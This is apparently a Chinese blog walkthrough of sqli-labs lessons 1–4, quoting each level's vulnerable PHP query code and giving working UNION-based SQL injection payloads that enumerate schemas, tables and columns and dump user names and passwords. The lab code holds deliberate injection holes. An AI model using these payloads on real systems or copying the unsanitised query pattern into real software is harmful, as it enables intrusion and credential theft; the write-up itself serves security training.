LESS-1 GET 基于错误 – 单引号 – 字符型
按照要求,首先我们输入?id=1,发现页面返回了“login name”和“password”
接下来判断是否为注入点,输入?id=1’,发现报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1。由此我们可以判断它是个mysql数据库,错误类型为语法错误
查看源代码,我们发现它其实是get到id然后根据id返回数据
$id=$_GET['id'];
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
下一步进行简单逻辑判断,在后面输入 and ‘1’='1,发现没有报错,输入 and ‘1’='2,没有返回,说明存在sql注入漏洞。
紧接着开始注入测试
首先判断字段数,输入?id=1 ’ order by 1–+ ,没问题;order by 2–+ ,没问题;order by 3–+ ,没问题;order by 4–+ ,发现字段超过的报错。因此判断,字段为3个。- - +是为了注释后面的符号,这里是csdn显示问题,其实是- - +,下面也是
这时候,使用联合查询 union select 1,2,3–+,为了使后面能够返回,需要前面的id为false,输入一个无效的数字,发现name为2,password为3,有效字段为第二和第三个字段,–+为了注释后面的单引号。
Less-1/?id=999 'union select 1,2,3–+
最后开始手工注入
1、查库
?id=999 'union select 1,2,(select schema_name from information_schema.schemata limit 0,1)–+
成功后使用group_concat
?id=999 'union select 1,2,(select group_concat(schema_name) from information_schema.schemata)–+
2、查表
?id=999 'union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)–+
或者
?id=999 'union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())–+
3、查列
?id=999 'union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=‘users’)–+
4、查数据
?id=99 'union select 1,(select group_concat(password) from security.users),(select group_concat(username) from security.users)–+
完成!
LESS-2 GET 基于错误 –数字型
按照要求,首先我们输入?id=1,发现页面返回了“login name”和“password”
接下来判断是否为注入点,输入?id=1’,发现报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1。和第一关稍微有点不一样。
查看源代码,我们发现它select语句的id没有引号,来到了limit附近
$id=$_GET['id'];
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
下一步进行简单逻辑判断,在后面输入 and 1=1,发现没有报错,输入 and 1=2,没有返回,说明存在sql注入漏洞。
紧接着开始注入测试
首先判断字段数,输入?id=1 order by 1–+,没问题;order by 2–+ ,没问题;order by 3–+ ,没问题;order by 4–+ ,发现字段超过的报错。因此判断,字段为3个。
这时候,使用联合查询 union select 1,2,3–+,为了使后面能够返回,需要前面的id为false,输入一个无效的数字,发现name为2,password为3,有效字段为第二和第三个字段,–+为了注释后面的单引号。
Less-2/?id=999 union select 1,2,3–+
开始手工注入
1、查库
?id=999 union select 1,2,(select group_concat(schema_name) from information_schema.schemata)–+
2、查表
?id=999 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)–+
或者
?id=999 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())–+
3、查列
?id=999 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=‘users’)–+
4、查数据
?id=999 union select 1,(select group_concat(password) from security.users),(select group_concat(username) from security.users)–+
完成!
LESS-3 GET 单引号变形- - 字符型
还是测试**?id=1**,还是和上面一样的返回
单引号测试,报错结果为:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’) LIMIT 0,1’ at line 1
所以是)的问题
调查源代码,验证猜想
$id=$_GET['id'];
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
下一步进行简单逻辑判断,在后面输入 ) and 1=1,发现没有报错,输入 )and 1=2,没有返回,说明存在sql注入漏洞。
紧接着开始注入测试
首先判断字段数,输入?id=1 ')order by 1–+ ,没问题;order by 2–+ ,没问题;order by 3- -+ ,没问题;order by 4–+ ,发现字段超过的报错。因此判断,字段为3个。
使用联合查询 union select 1,2,3–+,为了使后面能够返回,需要前面的id为false,输入一个无效的数字,发现name为2,password为3,有效字段为第二和第三个字段,–+为了注释后面的单引号。
?id=999 ')union select 1,2,3–+
开始手工注入
1、查库
?id=999 ')union select 1,2,(select group_concat(schema_name) from information_schema.schemata)–+
2、查表
?id=999 ')union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)–+
或者
?id=999 ')union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())–+
3、查列
?id=999 ')union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=‘users’)–+
4、查数据
?id=999 ')union select 1,(select group_concat(password) from security.users),(select group_concat(username) from security.users)–+
完成!
LESS-4 基于错误- 双引号- 字符型
测试?id=1,还是和上面一样的返回
测试?id=1’,还是和上面一样的返回
查看源代码
$id=$_GET['id'];
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
发现id的问题,也是测试?id=1"
报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“1"”) LIMIT 0,1’ at line 1
下一步进行简单逻辑判断,在后面输入 ) and 1=1,发现没有报错,输入 )and 1=2,没有返回,说明存在sql注入漏洞。
紧接着开始注入测试
首先判断字段数,输入?id=1 ")order by 1–+ ,没问题;order by 2–+ ,没问题;order by 3- -+ ,没问题;order by 4–+ ,发现字段超过的报错。因此判断,字段为3个。
使用联合查询 union select 1,2,3–+,为了使后面能够返回,需要前面的id为false,输入一个无效的数字,发现name为2,password为3,有效字段为第二和第三个字段,–+为了注释后面的单引号。
?id=999 ")union select 1,2,3–+
开始手工注入
1、查库
?id=999 ")union select 1,2,(select group_concat(schema_name) from information_schema.schemata)–+
2、查表
?id=999 ")union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)–+
或者
?id=999 ")union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())–+
3、查列
?id=999 ")union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=‘users’)–+
4、查数据
?id=999 ")union select 1,(select group_concat(password) from security.users),(select group_concat(username) from security.users)–+
完成!